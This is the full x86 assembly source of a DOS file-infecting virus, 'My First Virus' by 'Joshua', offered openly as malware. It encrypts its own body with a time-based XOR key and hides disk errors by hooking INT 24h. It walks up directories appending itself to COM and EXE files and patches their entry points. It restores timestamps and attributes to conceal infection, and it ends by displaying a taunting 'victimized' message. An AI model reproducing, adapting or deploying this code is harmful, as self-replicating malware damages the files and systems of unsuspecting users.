;****************************************************************** ;* * ;* My First Virus, a simple non-overwriting COM and EXE * ;* infector. * ;* by, Joshua * ;* * ;****************************************************************** ID = 'SS' ; My ID .model tiny ; Memory model .code ; Start Code org 100h ; Start of COM file MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS START proc near DECRYPT: mov bx,offset START_VIRUS ; Find out our offset mov cx,(END_VIRUS-START_VIRUS)/2 DECRYPT_LOOP: db 2eh,81h,37h ; XOR [BX],xxxx KEY dw 0 ; Crypt KEY add bx,2 ; Increment offset dec cx ; Decrement counter jnz DECRYPT_LOOP ; Continue until done START_VIRUS: call FIND_OFFSET ; Real start of virus ; Calculate change in offset from host program. FIND_OFFSET: pop bp ; BP holds current IP sub bp, offset FIND_OFFSET ; Calculate net change ; Change BP to start of ; virus code ; Capture INT 24h Critical error handler. push es ; Save ES mov ax,3524h ; DOS get interupt vector int 21h ; Call DOS to do it mov word ptr [bp+OLDINT24],bx ; Save old INT 24h mov word ptr [bp+OLDINT24+2],es ; vector mov ah,25h ; DOS set interupt vector lea dx,[bp+NEWINT24] ; Address of new interupt int 21h ; Call DOS to do it pop es ; Restore ES ; Find out what kind of program I am, COM or EXE, by checking stack pointer. ; This is where I store my ID in an EXE infection. cmp sp,ID ; COM or EXE? je RESTORE_EXE ; I am an EXE file ; Restore original bytes to the COM program. RESTORE_COM: lea si,[bp+COM_START] ; Restore original 3 bytes mov di,100h ; to 100h, start of file push di ; Jmp to 100h when done movsw ; Copy 3 bytes movsb jmp short RESTORE_DONE ; Restore original bytes to the EXE program. RESTORE_EXE: push ds ; Save original DS push es ; Save original ES push cs ; Set DS = CS pop ds push cs ; Set ES = CS pop es lea si,[bp+JMPSAVE] ; Copy original CS:IP and lea di,[bp+JMPSAVE2] ; SS:SP for return movsw ; Copy 8 bytes movsw movsw movsw ; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy ; original command line parameters. RESTORE_DONE: lea dx,[bp+DTA] ; Point to new DTA area mov ah,1ah ; DOS set DTA int 21h ; Call DOS to do it ; Save original directory. mov ah,47h ; DOS get current directory lea si,[bp+ORIG_DIR] ; Store it here mov dl,0 ; Current drive int 21h ; Call DOS to do it ; Search for a file to infect. SEARCH: lea dx,[bp+EXE_MASK] ; Search for any EXE file call FINDFIRST ; Begin search lea dx,[bp+COM_MASK] ; Search for any COM file call FINDFIRST ; Begin search mov ah,3bh ; DOS change directory lea dx,[bp+DOTDOT] ; Go up one direcotry int 21h ; Call DOS to do it jnc SEARCH ; Go look for more files ; Restore default DTA, original directory, and pass control back to ; original program. QUIT: mov ah,3bh ; DOS change directory lea dx,[bp+ORIG_DIR-1] ; Point to original directory int 21h ; Call DOS to do it push ds ; Save DS mov ax,2524h ; DOS set interupt vector lds dx,[bp+OLDINT24] ; Restore INT 24h int 21h ; Call DOS to do it pop ds ; Restore DS mov ah,1ah ; DOS set DTA mov dx,80h ; Restore original DTA cmp sp,ID-4 ; EXE or COM? ES,DS on stack jz QUIT_EXE ; Pass control to host EXE QUIT_COM: int 21h ; Call DOS to set DTA retn ; Remember, 100h was on stack QUIT_EXE: pop es ; Restore original ES pop ds ; Restore original DS int 21h ; Call DOS to set DTA mov ax,es ; AX = begin of PSP segment add ax,16 ; Add size of PSP to get CS add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS cli ; Clear interrupts mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP mov ss,ax ; Restore SS sti ; Set interrupts db 0eah ; Jump SSSS:OOOO JMPSAVE2 dd ? ; CS:IP for EXE return STACKSAVE2 dd ? ; SS:SP for EXE return JMPSAVE dd ? ; Original EXE CS:IP STACKSAVE dd ? ; Original EXE SS:SP CREATOR db '[Joshua]' ; That's me! ; DOS Findfirst / Findnext services FINDFIRST: mov ah,4eh ; DOS find first service mov cx,7 ; Choose files w/ any attribute FINDNEXT: int 21h ; Call DOS to do it jc END_SEARCH ; Quit if there are errors ; or no more files ; Ok, if I am here, then I found a possible victim. First open the file ; for read only. mov al,0 ; DOS Open file, read only call OPEN ; Open the file ; Read in the beginning bytes to check for previous infection and then close. mov ah,3fh ; DOS Read file lea dx,[bp+BUFFER] ; Save the original header mov cx,24 ; Read 24 bytes int 21h ; Call DOS to do it mov ah,3eh ; DOS close file int 21h ; Call DOS to do it ; Check if the file is an EXE. CHECK_EXE: cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE? jne CHECK_COM ; Nope, see if it's a COM cmp word ptr [bp+BUFFER+16],ID; Is it already infected? je ANOTHER ; Yep, so try another jmp short INFECT_EXE ; We got one! Go infect it! ; Check if the file is COMMAND.COM CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM jz ANOTHER ; If it is, try another file ; Now, check for previous infection by checking for our presence at ; the end of the file. mov ax,word ptr [bp+DTA+26] ; Put total filesize in AX cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big jle ANOTHER ; If so, try another mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX add cx,END_VIRUS-DECRYPT+3 ; Add virus size to jmp offset cmp ax,cx ; Compare file size's jnz INFECT_COM ; If healthy, go infect it ANOTHER: mov ah,4fh ; Otherwise find another jmp short FINDNEXT ; possible victim END_SEARCH: retn ; No files found ;*** Subroutine INFECT_COM *** INFECT_COM: ; Save the first three bytes of the COM file lea si,[bp+BUFFER] ; Start of first 3 bytes lea di,[bp+COM_START] ; Store them here movsw ; Transfer the 3 bytes movsb ; Calculate jump offset for header of victim so it will run virus first. ; AX has the filesize. Store new JMP and OFFSET in the buffer. mov cx,3 ; No. bytes to write in header sub ax,cx ; Filesize - jmp_offset mov byte ptr [si-3],0e9h ; Store new JMP command mov word ptr [si-2],ax ; plus offset add ax,(103h+(START_VIRUS-DECRYPT)); New START_VIRUS OFFSET push ax ; Save it for later jmp DONE_INFECTION ; We're done! ;*** Subroutine INFECT_EXE *** INFECT_EXE: ; Save original CS:IP and SS:SP. les ax,dword ptr [bp+BUFFER+20] ; Get original CS:IP mov word ptr [bp+JMPSAVE],ax ; Store IP mov word ptr [bp+JMPSAVE+2],es ; Store CS les ax,dword ptr [bp+BUFFER+14] ; Get original SS:SP mov word ptr [bp+STACKSAVE],es ; Store SP mov word ptr [bp+STACKSAVE+2],ax ; Store SS ; Get get the header size in bytes. mov ax,word ptr [bp+BUFFER+8] ; Get header size mov cl,4 ; Convert paragraphs to bytes shl ax,cl ; Multiply by 16 xchg ax,bx ; Put header size in BX ; Get file size. les ax,[bp+offset DTA+26] ; Get filesize to mov dx,es ; DX:AX format push ax ; Save filesize push dx sub ax,bx ; Subtract header size sbb dx,0 ; from filesize mov cx,16 ; Convert to SEGMENT:OFFSET div cx ; form ; Store new entry point (CS:IP) in header. mov word ptr [bp+BUFFER+20],dx; Store IP mov word ptr [bp+BUFFER+22],ax; Store CS add dx,START_VIRUS-DECRYPT ; New START_VIRUS offset mov bx,dx ; Hold it for now ; Store new stack frame (SS:SP) in header. mov word ptr [bp+BUFFER+14],ax; Store SS mov word ptr [bp+BUFFER+16],ID; Store SP pop dx ; Get back filesize pop ax add ax,END_VIRUS-START_VIRUS ; Add virus size adc dx,0 ; to filesize push ax ; Save AX mov cl,9 ; Divide AX shr ax,cl ; by 512 ror dx,cl stc ; Set carry flag adc dx,ax ; Add with carry pop ax ; Get back AX and ah,1 ; Mod 512 ; Store new filesize in header. mov word ptr [bp+BUFFER+4],dx ; Store new filesize mov word ptr [bp+BUFFER+2],ax push cs ; Restore ES pop es mov cx,24 ; No. bytes to write in header push bx ; Save START_VIRUS offset ; Write virus to victim and restore the file's original timestamp, datestamp, ; and attributes. These values were stored in the DTA by the ; Findfirst / Findnext services. DONE_INFECTION: push cx ; Save no. bytes to write xor cx,cx ; Clear attributes call SET_ATTR ; Set attributes mov al,2 ; DOS open file for read/write call OPEN ; Open the file ; Write the new header at the beginning of the file. mov ah,40h ; DOS write to file pop cx ; Number of bytes to write lea dx,[bp+BUFFER] ; Point to the bytes to write int 21h ; Call DOS to do it ; Move to end of file. mov ax,4202h ; DOS set read/write pointer xor cx,cx ; Set offset move to zero cwd ; Equivalent to xor dx,dx int 21h ; Call DOS to do it ; Append virus to end of file. mov ah,2ch ; DOS get time int 21h ; Call DOS to do it mov [bp+KEY],dx ; Save sec + 1/100 sec ; as the new KEY lea di,[bp+APPEND] ; to the heap mov cx,START_VIRUS-DECRYPT ; Number of bytes to move mov al,53h ; Push BX and store it stosb ; in the append routine lea si,[bp+DECRYPT] ; Move Crypt routines push si ; Save SI push cx ; Save CX rep movsb ; Transfer the data lea si,[bp+WRITE_START] ; Now copy the write mov cx,WRITE_END-WRITE_START ; routine to the heap rep movsb ; Transfer the data pop cx ; Get back pop si ; CX and SI rep movsb ; Recopy Crypt routine mov ax,0c35bh ; Tack a POP BX and stosw ; RETN on the end pop ax ; New START_VIRUS offset mov word ptr [bp+DECRYPT+1],ax; Store new offset call APPEND ; Write the file ; Restore original creation date and time. mov ax,5701h ; DOS set file date & time mov cx,word ptr [bp+DTA+22] ; Set time mov dx,word ptr [bp+DTA+24] ; Set date int 21h ; Call DOS to do it ; Close the file. mov ah,3eh ; DOS close file int 21h ; Call DOS to do it ; Restore original file attributes. mov cx,word ptr [bp+DTA+21] ; Get original file attribute call SET_ATTR ; Set attribute pop bx ; Take CALL off stack ; ****** B O M B S E C T I O N ****** ; Check to see if the virus is ready to activate. ; Put all activation tests and bombs here. CONDITIONS: ; mov ah,2ah ; DOS get date ; int 21h ; Call DOS to do it ; cmp dx,1001h ; Check for Oct 1st ; jl BOMB_DONE ; Not time yet ; mov ah,2ch ; DOS get time ; int 21h ; Call DOS to do it ; cmp cl,25h ; Check for 25 min past ; jl BOMB_DONE ; Not time yet BOMB: mov ah,3h ; BIOS find cursor position mov bh,0 ; Video page 0 int 10h ; Call BIOS to do it push dx ; Save original Row and Column mov cx,6 ; Number of lines to print lea si,[bp+VERSE] ; Location of VERSE mov dx,080ah ; Row and Column of output PRINTLOOP: mov ah,2h ; BIOS set cursor int 10h ; Set cursor push dx ; Save Row and Column mov ah,9h ; DOS print string mov dx,si ; Location of VERSE int 21h ; Call DOS to print it pop dx ; Get Row and Column inc dh ; Increment Row add si,54 ; Go to next line of VERSE loop PRINTLOOP ; Print all lines mov ah,00h ; Read character from keybd int 16h pop dx ; Get original Row Column mov ah,2h ; BIOS set cursor int 10h ; Call BIOS to do it BOMB_DONE: jmp QUIT ; Go back to host program VERSE: db 'ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·$' db 'º Guess what ??? º$' db 'º You have been victimized by a virus!!! Do not º$' db 'º try to reboot your computer or even turn it º$' db 'º off. You might as well read this and weep! º$' db 'ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ',7,7,'$' ; Write routine to append the virus to the end of the file. WRITE_START: pop bx ; Get back file handle push bx ; Save it again mov ah,40h ; DOS write to file mov cx,END_VIRUS-DECRYPT ; Length of virus lea dx,[bp+DECRYPT] ; Start from beginning of virus int 21h ; Call DOS to do it WRITE_END: ; New INT 24h handler. NEWINT24: mov al,3 ; Fail call iret ; Return ;*** Subroutine OPEN *** ; Open a file. Takes AL as parameter. OPEN proc near mov ah,3dh ; DOS open file, read/write lea dx,[bp+DTA+30] ; Point to filename we found int 21h ; Call DOS to do it xchg ax,bx ; Put file handle in BX retn ; Return OPEN endp ;*** Subroutine SET_ATTR *** ; Takes CX as a parameter SET_ATTR proc near mov ax,4301h ; DOS change file attr lea dx,[bp+DTA+30] ; Point to file name int 21h ; Call DOS retn ; Return SET_ATTR endp ; This area will hold all variables to be encrypted COM_MASK db '*.com',0 ; COM file mask EXE_MASK db '*.exe',0 ; EXE file mask DOTDOT db '..',0 ; Go up one directory COM_START db 0cdh,20h,0 ; Header for infected file BACKSLASH db '\' ; Backslash for directory START endp END_VIRUS equ $ ; Mark end of virus code ; This data area is a scratch area and is not included in virus code. ORIG_DIR db 64 dup(?) ; Holds original directory OLDINT24 dd ? ; Storage for old INT 24 vector BUFFER db 24 dup(?) ; Read buffer and EXE header DTA db 43 dup(?) ; New DTA location APPEND: db (START_VIRUS-DECRYPT)*2+(WRITE_END-WRITE_START)+3 dup(?) ENDHEAP: end MAIN